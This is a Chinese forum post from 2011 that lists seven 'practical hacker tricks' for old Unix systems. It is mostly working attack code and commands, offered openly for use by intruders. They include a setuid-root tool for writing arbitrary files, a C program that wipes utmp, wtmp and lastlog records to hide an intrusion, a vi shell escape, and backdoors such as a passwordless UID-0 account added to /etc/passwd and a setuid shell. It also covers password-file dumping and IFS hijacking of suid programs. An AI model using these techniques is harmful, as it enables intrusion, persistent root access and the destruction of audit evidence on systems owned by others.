南瓜园

 找回密码
 注册
查看: 1431|回复: 0

2000年前的黑客实用技巧7则

[复制链接]
发表于 2011-5-28 11:38:35 | 显示全部楼层 |阅读模式
1 、UPLOAD
侵入成功后,拿到root权限了,这个东东可以把他的服务器的访问权限改了,让任何人都
可以上传文件 !     来源:DOS命令大全
root 状 态 下, 运 行 Install 后,
upload 将 允 许 普 通 用 户 上 载 文 件 至 任 何 目 录 下。
# chmod 755 install
#./install
$ more install
#! /bin/csh -f
cc upload.c
cp a.out upload
chown root upload
chmod 755 upload
chmod u+s upload
$ more upload.c
#include
main()
{
char filename[48];
printf( "This program will upload up.txt ASCII file to specified file\n" );
printf( "XXX Copyright Reserved\n" );
printf( "Where to upload (include path and filename)? " );
gets( filename );
upload( filename );
}
int upload( filename )
char *filename;
{
FILE *fp,*outp;
char c;
fp=fopen( "up.txt","r" );
outp=fopen( filename,"w" );
if( fp== NULL ) {
printf( "file not exist." );
return 0;
}
for( ;; ) {
c= fgetc( fp );
if feof( fp ) break;
printf( "%c",c );
fputc( c, outp );
}
fclose( fp );
fclose( outp );
return 1;
}
2、破坏现场
进入系统后,出来以前怎么破坏现场?抹掉自己的脚印?
编辑 /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog.
请使用专门的编辑器
例子:
#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
3、突破SHELL
许多攻击系统的方法都需要攻击者首先有一个命令行式的Shell,如 /bin/csh 。但有些系
统提供给用户的却是菜单式的定制Shell,如 pink 。所以如果你想攻击这个系统的话,首
先必须要冲破这个定制shell。
我们可以利用 vi (UNIX中标准的编辑器) 的一些命令来达到这个目的。具体过程如下:
(1).在定制Shell中选择编辑文件,这时系统启动 vi。
(2).在 vi 中,输入以下命令序列注意:输入的命令包括最前面的 ':' )
:set shell=/bin/csh
:shell
3.这时,就像在DOS程序的File菜单中选择Dos Shell菜单项一样,系统启动一个Shell,而
这个Shell刚刚被我们设定成 /bin/csh,因此我们就得到了一个命令行式的Unix Shell。

4、后门
进入一个系统以后随手留下一个后门确实是很好的习惯 这里介绍几种简单的后门设置方
法:
(1). setuid
#cp /bin/sh /tmp/.backdoor
#chmod u+s /tmp/.backdoor
加上 suid 位到shell 上,最为简单方便.
(2). echo "wyj::0:0::/:/bin/csh" >> /etc/passwd
即给系统增加一个 id 为 0(root)的帐号,无口令.
(3). echo "+ wyj">>/.rhosts
即本地的名为wyj的用户可以直接 rlogin target 无须口令此时的wyj就相当于口令,不知
道的人是不能进去的.前提是目标的port 512or513or514 opening.
5、用telnet上传文件
如果ftp被关了,sendmail也不行,如何把编译好的文件上传到主机呢?
方法很简单:
1.先把要上传的文件用uuedcode进行编码,文件会变成大概下面的样子:
begin 644 file.bat
(本来这段代码写出来的,但由于发布不了,就删除了~!)
`
end
sum -r/size 17903/262
全部都是可见的ASCII字符了
2.用TELNET连接到主机后输入
$ cat >a
然后用WINODWS的拷贝/粘贴,把文件粘贴到telnet窗口
按^d
在当前目录下产生文件a
3.uudecode a
文件复原,然后chmod即可
6、破解Shadow
很多系统下写一个小程序不停的调用getpwent() 函数便能得到没有shadow过的密码档
#include
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
7、从suid脚本或程序中得到root
(1).如果该程序中有包含一个类似下面的数据:
system("/bin/date")
这时你可以把自己的IFS改为'/':
IFS='/';export IFS # Bourne Shell
setenv IFS '/' # C Shell
export IFS='/' # Korn Shell
这时你只要有一个你自己的软件路径调用了"bin",suid程序就会运行你的程序,并代替/bin/date
您需要登录后才可以回帖 登录 | 注册

本版积分规则

请大家牢记南瓜园网址 www.nan2008.com

QQ|小黑屋|手机版|Archiver|南瓜园

GMT+8, 2024-9-19 09:09 , Processed in 0.157903 second(s), 19 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表